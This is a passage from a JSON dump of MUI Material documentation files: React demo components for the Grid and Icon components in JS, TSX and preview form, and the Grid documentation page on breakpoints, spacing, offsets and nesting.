    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(2),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 4, sm: 8, md: 12 }}>\n        {Array.from(Array(6)).map((_, index) => (\n          <Grid key={index} size={{ xs: 2, sm: 4, md: 4 }}>\n            <Item>{index + 1}</Item>\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ResponsiveGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(2),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ResponsiveGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 4, sm: 8, md: 12 }}>\n        {Array.from(Array(6)).map((_, index) => (\n          <Grid key={index} size={{ xs: 2, sm: 4, md: 4 }}>\n            <Item>{index + 1}</Item>\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ResponsiveGrid.tsx.preview",
    "content": "<Grid container spacing={{ xs: 2, md: 3 }} columns={{ xs: 4, sm: 8, md: 12 }}>\n  {Array.from(Array(6)).map((_, index) => (\n    <Grid key={index} size={{ xs: 2, sm: 4, md: 4 }}>\n      <Item>{index + 1}</Item>\n    </Grid>\n  ))}\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/RowAndColumnSpacing.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function RowAndColumnSpacing() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Grid container rowSpacing={1} columnSpacing={{ xs: 1, sm: 2, md: 3 }}>\n        <Grid size={6}>\n          <Item>1</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>2</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>3</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>4</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/RowAndColumnSpacing.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Box from '@mui/material/Box';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function RowAndColumnSpacing() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Grid container rowSpacing={1} columnSpacing={{ xs: 1, sm: 2, md: 3 }}>\n        <Grid size={6}>\n          <Item>1</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>2</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>3</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>4</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/RowAndColumnSpacing.tsx.preview",
    "content": "<Grid container rowSpacing={1} columnSpacing={{ xs: 1, sm: 2, md: 3 }}>\n  <Grid size={6}>\n    <Item>1</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>2</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>3</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>4</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/SpacingGrid.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Paper from '@mui/material/Paper';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function SpacingGrid() {\n  const [spacing, setSpacing] = React.useState(2);\n\n  const handleChange = (event) => {\n    setSpacing(Number(event.target.value));\n  };\n\n  const jsx = `\n<Grid container spacing={${spacing}}>\n`;\n\n  return (\n    <Box\n      sx={{\n        flexGrow: 1,\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 2,\n        pt: 2,\n        '&& pre': { margin: 0 },\n      }}\n    >\n      <Grid container sx={{ justifyContent: 'center' }} spacing={spacing}>\n        {[0, 1, 2].map((value) => (\n          <Grid key={value}>\n            <Paper\n              sx={(theme) => ({\n                height: 140,\n                width: 100,\n                backgroundColor: '#fff',\n                ...theme.applyStyles('dark', {\n                  backgroundColor: '#1A2027',\n                }),\n              })}\n            />\n          </Grid>\n        ))}\n      </Grid>\n      <Paper sx={{ p: 2 }}>\n        <FormControl component=\"fieldset\">\n          <FormLabel component=\"legend\">spacing</FormLabel>\n          <RadioGroup\n            name=\"spacing\"\n            aria-label=\"spacing\"\n            value={spacing.toString()}\n            onChange={handleChange}\n            row\n          >\n            {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n              <FormControlLabel\n                key={value}\n                value={value.toString()}\n                control={<Radio />}\n                label={value.toString()}\n              />\n            ))}\n          </RadioGroup>\n        </FormControl>\n      </Paper>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/SpacingGrid.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Paper from '@mui/material/Paper';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function SpacingGrid() {\n  const [spacing, setSpacing] = React.useState(2);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setSpacing(Number((event.target as HTMLInputElement).value));\n  };\n\n  const jsx = `\n<Grid container spacing={${spacing}}>\n`;\n\n  return (\n    <Box\n      sx={{\n        flexGrow: 1,\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 2,\n        pt: 2,\n        '&& pre': { margin: 0 },\n      }}\n    >\n      <Grid container sx={{ justifyContent: 'center' }} spacing={spacing}>\n        {[0, 1, 2].map((value) => (\n          <Grid key={value}>\n            <Paper\n              sx={(theme) => ({\n                height: 140,\n                width: 100,\n                backgroundColor: '#fff',\n                ...theme.applyStyles('dark', {\n                  backgroundColor: '#1A2027',\n                }),\n              })}\n            />\n          </Grid>\n        ))}\n      </Grid>\n      <Paper sx={{ p: 2 }}>\n        <FormControl component=\"fieldset\">\n          <FormLabel component=\"legend\">spacing</FormLabel>\n          <RadioGroup\n            name=\"spacing\"\n            aria-label=\"spacing\"\n            value={spacing.toString()}\n            onChange={handleChange}\n            row\n          >\n            {[0, 0.5, 1, 2, 3, 4, 8, 12].map((value) => (\n              <FormControlLabel\n                key={value}\n                value={value.toString()}\n                control={<Radio />}\n                label={value.toString()}\n              />\n            ))}\n          </RadioGroup>\n        </FormControl>\n      </Paper>\n      <HighlightedCode code={jsx} language=\"jsx\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/VariableWidthGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function VariableWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"auto\">\n          <Item>size=auto</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/VariableWidthGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function VariableWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={3}>\n        <Grid size=\"auto\">\n          <Item>size=auto</Item>\n        </Grid>\n        <Grid size={6}>\n          <Item>size=6</Item>\n        </Grid>\n        <Grid size=\"grow\">\n          <Item>size=grow</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/VariableWidthGrid.tsx.preview",
    "content": "<Grid container spacing={3}>\n  <Grid size=\"auto\">\n    <Item>size=auto</Item>\n  </Grid>\n  <Grid size={6}>\n    <Item>size=6</Item>\n  </Grid>\n  <Grid size=\"grow\">\n    <Item>size=grow</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/grid.md",
    "content": "---\nproductId: material-ui\ntitle: React Grid component\ncomponents: PigmentGrid, Grid\ngithubLabel: 'component: Grid'\nmaterialDesign: https://m2.material.io/design/layout/understanding-layout.html\ngithubSource: packages/mui-material/src/Grid\n---\n\n# Grid\n\n<p class=\"description\">The responsive layout grid adapts to screen size and orientation, ensuring consistency across layouts.</p>\n\nThe `Grid` component works well for a layout with a known number of columns.\nThe columns can be configured with multiple breakpoints to specify the column span of each child.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## How it works\n\nThe grid system is implemented with the `Grid` component:\n\n- It uses [CSS Flexbox](https://www.w3.org/TR/css-flexbox-1/) (rather than CSS Grid) for high flexibility.\n- The grid is always a flex item. Use the `container` prop to add a flex container.\n- Item widths are set in percentages, so they're always fluid and sized relative to their parent element.\n- There are five default grid breakpoints: xs, sm, md, lg, and xl. If you need custom breakpoints, check out [custom breakpoints grid](#custom-breakpoints).\n- You can give integer values for each breakpoint, to indicate how many of the 12 available columns are occupied by the component when the viewport width satisfies the [breakpoint constraints](/material-ui/customization/breakpoints/#default-breakpoints).\n- It uses [the `gap` CSS property](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/gap) to add spacing between items.\n- It does _not_ support row spanning. Children elements cannot span multiple rows. We recommend using [CSS Grid](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Grid_layout) if you need this functionality.\n- It does _not_ automatically place children. It will try to fit the children one by one, and if there is not enough space, the rest of the children will start on the next line, and so on. If you need auto-placement, we recommend using [CSS Grid](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Grid_layout/Auto-placement) instead.\n\n:::warning\nThe `Grid` component is a _layout_ grid, not a _data_ grid.\nIf you need a data grid, check out [the MUI X `DataGrid` component](/x/react-data-grid/).\n:::\n\n## Fluid grids\n\nFluid grids use columns that scale and resize content. A fluid grid's layout can use breakpoints to determine if the layout needs to change dramatically.\n\n### Basic grid\n\nIn order to create a grid layout, you need a container.\nUse the `container` prop to create a grid container that wraps the grid items (the `Grid` is always an item).\n\nColumn widths are integer values between 1 and 12.\nFor example, an item with `size={6}` occupies half of the grid container's width.\n\n{{\"demo\": \"BasicGrid.js\", \"bg\": true}}\n\n### Multiple breakpoints\n\nItems may have multiple widths defined, causing the layout to change at the defined breakpoint.\nWidth values apply to all wider breakpoints, and larger breakpoints override those given to smaller breakpoints.\n\nFor example, a component with `size={{ xs: 12, sm: 6 }}` occupies the entire viewport width when the viewport is [less than 600 pixels wide](/material-ui/customization/breakpoints/#default-breakpoints).\nWhen the viewport grows beyond this size, the component occupies half of the total width—six columns rather than 12.\n\n{{\"demo\": \"FullWidthGrid.js\", \"bg\": true}}\n\n## Spacing\n\nUse the `spacing` prop to control the space between children.\nThe spacing value can be any positive number (including decimals) or a string.\nThe prop is converted into a CSS property using the [`theme.spacing()`](/material-ui/customization/spacing/) helper.\n\nThe following demo illustrates the use of the `spacing` prop:\n\n{{\"demo\": \"SpacingGrid.js\", \"bg\": true, \"hideToolbar\": true}}\n\n### Row and column spacing\n\nThe `rowSpacing` and `columnSpacing` props let you specify row and column gaps independently of one another.\nThey behave similarly to the `row-gap` and `column-gap` properties of [CSS Grid](/system/grid/#row-gap-column-gap).\n\n{{\"demo\": \"RowAndColumnSpacing.js\", \"bg\": true}}\n\n## Responsive values\n\nYou can set prop values to change when a given breakpoint is active.\nFor instance, we can implement Material Design's [recommended](https://m2.material.io/design/layout/responsive-layout-grid.html) responsive layout grid, as seen in the following demo:\n\n{{\"demo\": \"ResponsiveGrid.js\", \"bg\": true}}\n\nResponsive values are supported by:\n\n- `size`\n- `columns`\n- `columnSpacing`\n- `direction`\n- `rowSpacing`\n- `spacing`\n- `offset`\n\n## Interactive\n\nBelow is an interactive demo that lets you explore the visual results of the different settings:\n\n{{\"demo\": \"InteractiveGrid.js\", \"hideToolbar\": true, \"bg\": true}}\n\n## Auto-layout\n\nThe auto-layout feature gives equal space to all items present.\nWhen you set the width of one item, the others will automatically resize to match it.\n\n{{\"demo\": \"AutoGrid.js\", \"bg\": true}}\n\n### Variable width content\n\nWhen a breakpoint's value is given as `\"auto\"`, then a column's size will automatically adjust to match the width of its content.\nThe demo below shows how this works:\n\n{{\"demo\": \"VariableWidthGrid.js\", \"bg\": true}}\n\n## Nested grid\n\nThe grid container that renders as a **direct child** inside another grid container is a nested grid that inherits its [`columns`](#columns) and [`spacing`](#spacing) from the top level.\nIt will also inherit the props of the top-level grid if it receives those props.\n\n:::success\n\nNote that a nested grid container should be a direct child of another grid container. If there are non-grid elements in between, the grid container will start as the new root container.\n\n```js\n<Grid container>\n  <Grid container> // A nested grid container that inherits columns and spacing from above.\n    <div>\n      <Grid container> // A new root grid container with its own variables scope.\n```\n\n:::\n\n### Inheriting spacing\n\nA nested grid container inherits the row and column spacing from its parent unless the `spacing` prop is specified to the instance.\n\n{{\"demo\": \"NestedGrid.js\", \"bg\": true}}\n\n### Inheriting columns\n\nA nested grid container inherits the columns from its parent unless the `columns` prop is specified to the instance.\n\n{{\"demo\": \"NestedGridColumns.js\", \"bg\": true}}\n\n## Columns\n\nUse the `columns` prop to change the default number of columns (12) in the grid, as shown below:\n\n{{\"demo\": \"ColumnsGrid.js\", \"bg\": true}}\n\n## Offset\n\nThe `offset` prop pushes an item to the right side of the grid.\nThis props accepts:\n\n- numbers—for example, `offset={{ md: 2 }}` pushes an item two columns to the right when the viewport size is equal to or greater than the `md` breakpoint.\n- `\"auto\"`—this pushes the item to the far right side of the grid container.\n\nThe demo below illustrates how to use the offset props:\n\n{{\"demo\": \"OffsetGrid.js\", \"bg\": true}}\n\n## Custom breakpoints\n\nIf you specify custom breakpoints in the theme, you can use those names as grid item props in responsive values:\n\n```js\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nfunction Demo() {\n  return (\n    <ThemeProvider\n      theme={createTheme({\n        breakpoints: {\n          values: {\n            laptop: 1024,\n            tablet: 640,\n            mobile: 0,\n            desktop: 1280,\n          },\n        },\n      })}\n    >\n      <Grid container spacing={{ mobile: 1, tablet: 2, laptop: 3 }}>\n        {Array.from(Array(4)).map((_, index) => (\n          <Grid key={index} size={{ mobile: 6, tablet: 4, laptop: 3 }}>\n            <div>{index + 1}</div>\n          </Grid>\n        ))}\n      </Grid>\n    </ThemeProvider>\n  );\n}\n```\n\n:::info\nCustom breakpoints affect all [responsive values](#responsive-values).\n:::\n\n### TypeScript\n\nYou have to set module augmentation on the theme breakpoints interface.\n\n```ts\ndeclare module '@mui/system' {\n  interface BreakpointOverrides {\n    // Your custom breakpoints\n    laptop: true;\n    tablet: true;\n    mobile: true;\n    desktop: true;\n    // Remove default breakpoints\n    xs: false;\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n  }\n}\n```\n\n## Customization\n\n### Centered elements\n\nTo center a grid item's content, specify `display=\"flex\"` directly on the item.\nThen use `justifyContent` and/or `alignItems` to adjust the position of the content, as shown below:\n\n{{\"demo\": \"CenteredElementGrid.js\", \"bg\": true}}\n\n:::warning\nUsing the `container` prop does not work in this situation because the grid container is designed exclusively to wrap grid items.\nIt cannot wrap other elements.\n:::\n\n### Full border\n\n{{\"demo\": \"FullBorderedGrid.js\"}}\n\n### Half border\n\n{{\"demo\": \"HalfBorderedGrid.js\"}}\n\n## Limitations\n\n### Column direction\n\nUsing `direction=\"column\"` or `direction=\"column-reverse\"` is not supported.\nThe Grid component is specifically designed to subdivide a layout into columns, not rows.\nYou should not use the Grid component on its own to stack layout elements vertically.\nInstead, you should use the [Stack component](/material-ui/react-stack/) inside of a Grid to create vertical layouts as shown below:\n\n{{\"demo\": \"ColumnLayoutInsideGrid.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/icons/CreateSvgIcon.js",
    "content": "import Stack from '@mui/material/Stack';\nimport { createSvgIcon } from '@mui/material/utils';\n\nconst HomeIcon = createSvgIcon(\n  <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />,\n  'Home',\n);\n\nconst PlusIcon = createSvgIcon(\n  // credit: plus icon from https://heroicons.com\n  <svg\n    xmlns=\"http://www.w3.org/2000/svg\"\n    fill=\"none\"\n    viewBox=\"0 0 24 24\"\n    strokeWidth={1.5}\n    stroke=\"currentColor\"\n  >\n    <path strokeLinecap=\"round\" strokeLinejoin=\"round\" d=\"M12 4.5v15m7.5-7.5h-15\" />\n  </svg>,\n  'Plus',\n);\n\nexport default function CreateSvgIcon() {\n  return (\n    <Stack direction=\"row\" spacing={3}>\n      <HomeIcon />\n      <HomeIcon color=\"primary\" />\n      <PlusIcon />\n      <PlusIcon color=\"secondary\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/CreateSvgIcon.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport { createSvgIcon } from '@mui/material/utils';\n\nconst HomeIcon = createSvgIcon(\n  <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />,\n  'Home',\n);\n\nconst PlusIcon = createSvgIcon(\n  // credit: plus icon from https://heroicons.com\n  <svg\n    xmlns=\"http://www.w3.org/2000/svg\"\n    fill=\"none\"\n    viewBox=\"0 0 24 24\"\n    strokeWidth={1.5}\n    stroke=\"currentColor\"\n  >\n    <path strokeLinecap=\"round\" strokeLinejoin=\"round\" d=\"M12 4.5v15m7.5-7.5h-15\" />\n  </svg>,\n  'Plus',\n);\n\nexport default function CreateSvgIcon() {\n  return (\n    <Stack direction=\"row\" spacing={3}>\n      <HomeIcon />\n      <HomeIcon color=\"primary\" />\n      <PlusIcon />\n      <PlusIcon color=\"secondary\" />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/CreateSvgIcon.tsx.preview",
    "content": "<HomeIcon />\n<HomeIcon color=\"primary\" />\n<PlusIcon />\n<PlusIcon color=\"secondary\" />"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeIcon.js",
    "content": "import * as React from 'react';\nimport { loadCSS } from 'fg-loadcss';\nimport Stack from '@mui/material/Stack';\nimport { green } from '@mui/material/colors';\nimport Icon from '@mui/material/Icon';\n\nexport default function FontAwesomeIcon() {\n  React.useEffect(() => {\n    const node = loadCSS(\n      'https://use.fontawesome.com/releases/v5.14.0/css/all.css',\n      // Inject before JSS\n      document.querySelector('#font-awesome-css') || document.head.firstChild,\n    );\n\n    return () => {\n      node.parentNode.removeChild(node);\n    };\n  }, []);\n\n  return (\n    <Stack direction=\"row\" spacing={4} sx={{ alignItems: 'flex-end' }}>\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" />\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" color=\"primary\" />\n      <Icon\n        baseClassName=\"fas\"\n        className=\"fa-plus-circle\"\n        sx={{ color: green[500] }}\n      />\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" fontSize=\"small\" />\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" sx={{ fontSize: 30 }} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeIcon.tsx",
    "content": "import * as React from 'react';\nimport { loadCSS } from 'fg-loadcss';\nimport Stack from '@mui/material/Stack';\nimport { green } from '@mui/material/colors';\nimport Icon from '@mui/material/Icon';\n\nexport default function FontAwesomeIcon() {\n  React.useEffect(() => {\n    const node = loadCSS(\n      'https://use.fontawesome.com/releases/v5.14.0/css/all.css',\n      // Inject before JSS\n      (document.querySelector('#font-awesome-css') ||\n        document.head.firstChild) as HTMLElement,\n    );\n\n    return () => {\n      node.parentNode!.removeChild(node);\n    };\n  }, []);\n\n  return (\n    <Stack direction=\"row\" spacing={4} sx={{ alignItems: 'flex-end' }}>\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" />\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" color=\"primary\" />\n      <Icon\n        baseClassName=\"fas\"\n        className=\"fa-plus-circle\"\n        sx={{ color: green[500] }}\n      />\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" fontSize=\"small\" />\n      <Icon baseClassName=\"fas\" className=\"fa-plus-circle\" sx={{ fontSize: 30 }} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeIcon.tsx.preview",
    "content": "<Icon baseClassName=\"fas\" className=\"fa-plus-circle\" />\n<Icon baseClassName=\"fas\" className=\"fa-plus-circle\" color=\"primary\" />\n<Icon\n  baseClassName=\"fas\"\n  className=\"fa-plus-circle\"\n  sx={{ color: green[500] }}\n/>\n<Icon baseClassName=\"fas\" className=\"fa-plus-circle\" fontSize=\"small\" />\n<Icon baseClassName=\"fas\" className=\"fa-plus-circle\" sx={{ fontSize: 30 }} />"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeIconSize.js",
    "content": "import * as React from 'react';\nimport { loadCSS } from 'fg-loadcss';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport Icon from '@mui/material/Icon';\nimport MdPhone from '@mui/icons-material/Phone';\nimport Chip from '@mui/material/Chip';\n\nconst theme = createTheme({\n  components: {\n    MuiIcon: {\n      styleOverrides: {\n        root: {\n          // Match 24px = 3 * 2 + 1.125 * 16\n          boxSizing: 'content-box',\n          padding: 3,\n          fontSize: '1.125rem',\n        },\n      },\n    },\n  },\n});\n\nexport default function FontAwesomeIconSize() {\n  React.useEffect(() => {\n    const node = loadCSS(\n      'https://use.fontawesome.com/releases/v5.14.0/css/all.css',\n      // Inject before JSS\n      document.querySelector('#font-awesome-css') || document.head.firstChild,\n    );\n\n    return () => {\n      node.parentNode.removeChild(node);\n    };\n  }, []);\n\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <ThemeProvider theme={theme}>\n        <Chip icon={<MdPhone />} label=\"Call me\" />\n        <Chip icon={<Icon className=\"fas fa-phone-alt\" />} label=\"Call me\" />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeIconSize.tsx",
    "content": "import * as React from 'react';\nimport { loadCSS } from 'fg-loadcss';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport Stack from '@mui/material/Stack';\nimport Icon from '@mui/material/Icon';\nimport MdPhone from '@mui/icons-material/Phone';\nimport Chip from '@mui/material/Chip';\n\nconst theme = createTheme({\n  components: {\n    MuiIcon: {\n      styleOverrides: {\n        root: {\n          // Match 24px = 3 * 2 + 1.125 * 16\n          boxSizing: 'content-box',\n          padding: 3,\n          fontSize: '1.125rem',\n        },\n      },\n    },\n  },\n});\n\nexport default function FontAwesomeIconSize() {\n  React.useEffect(() => {\n    const node = loadCSS(\n      'https://use.fontawesome.com/releases/v5.14.0/css/all.css',\n      // Inject before JSS\n      (document.querySelector('#font-awesome-css') ||\n        document.head.firstChild) as HTMLElement,\n    );\n\n    return () => {\n      node.parentNode!.removeChild(node);\n    };\n  }, []);\n\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <ThemeProvider theme={theme}>\n        <Chip icon={<MdPhone />} label=\"Call me\" />\n        <Chip icon={<Icon className=\"fas fa-phone-alt\" />} label=\"Call me\" />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeIconSize.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Chip icon={<MdPhone />} label=\"Call me\" />\n  <Chip icon={<Icon className=\"fas fa-phone-alt\" />} label=\"Call me\" />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeSvgIconDemo.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { faEllipsisV } from '@fortawesome/free-solid-svg-icons/faEllipsisV';\nimport { faInfo } from '@fortawesome/free-solid-svg-icons/faInfo';\nimport { FontAwesomeIcon } from '@fortawesome/react-fontawesome';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nconst FontAwesomeSvgIcon = React.forwardRef((props, ref) => {\n  const { icon } = props;\n\n  const {\n    icon: [width, height, , , svgPathData],\n  } = icon;\n\n  return (\n    <SvgIcon ref={ref} viewBox={`0 0 ${width} ${height}`}>\n      {typeof svgPathData === 'string' ? (\n        <path d={svgPathData} />\n      ) : (\n        /**\n         * A multi-path Font Awesome icon seems to imply a duotune icon. The 0th path seems to\n         * be the faded element (referred to as the \"secondary\" path in the Font Awesome docs)\n         * of a duotone icon. 40% is the default opacity.\n         *\n         * @see https://fontawesome.com/how-to-use/on-the-web/styling/duotone-icons#changing-opacity\n         */\n        svgPathData.map((d, i) => (\n          <path style={{ opacity: i === 0 ? 0.4 : 1 }} d={d} />\n        ))\n      )}\n    </SvgIcon>\n  );\n});\n\nFontAwesomeSvgIcon.propTypes = {\n  icon: PropTypes.any.isRequired,\n};\n\nexport default function FontAwesomeSvgIconDemo() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <IconButton aria-label=\"Example\">\n        <FontAwesomeIcon icon={faEllipsisV} />\n      </IconButton>\n      <IconButton aria-label=\"Example\">\n        <FontAwesomeSvgIcon icon={faEllipsisV} />\n      </IconButton>\n      <Button variant=\"contained\" startIcon={<FontAwesomeIcon icon={faInfo} />}>\n        Example\n      </Button>\n      <Button variant=\"contained\" startIcon={<FontAwesomeSvgIcon icon={faInfo} />}>\n        Example\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeSvgIconDemo.tsx",
    "content": "import * as React from 'react';\nimport { faEllipsisV } from '@fortawesome/free-solid-svg-icons/faEllipsisV';\nimport { faInfo } from '@fortawesome/free-solid-svg-icons/faInfo';\nimport { FontAwesomeIcon } from '@fortawesome/react-fontawesome';\nimport Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport SvgIcon from '@mui/material/SvgIcon';\n\ntype FontAwesomeSvgIconProps = {\n  icon: any;\n};\n\nconst FontAwesomeSvgIcon = React.forwardRef<SVGSVGElement, FontAwesomeSvgIconProps>(\n  (props, ref) => {\n    const { icon } = props;\n\n    const {\n      icon: [width, height, , , svgPathData],\n    } = icon;\n\n    return (\n      <SvgIcon ref={ref} viewBox={`0 0 ${width} ${height}`}>\n        {typeof svgPathData === 'string' ? (\n          <path d={svgPathData} />\n        ) : (\n          /**\n           * A multi-path Font Awesome icon seems to imply a duotune icon. The 0th path seems to\n           * be the faded element (referred to as the \"secondary\" path in the Font Awesome docs)\n           * of a duotone icon. 40% is the default opacity.\n           *\n           * @see https://fontawesome.com/how-to-use/on-the-web/styling/duotone-icons#changing-opacity\n           */\n          svgPathData.map((d: string, i: number) => (\n            <path style={{ opacity: i === 0 ? 0.4 : 1 }} d={d} />\n          ))\n        )}\n      </SvgIcon>\n    );\n  },\n);\n\nexport default function 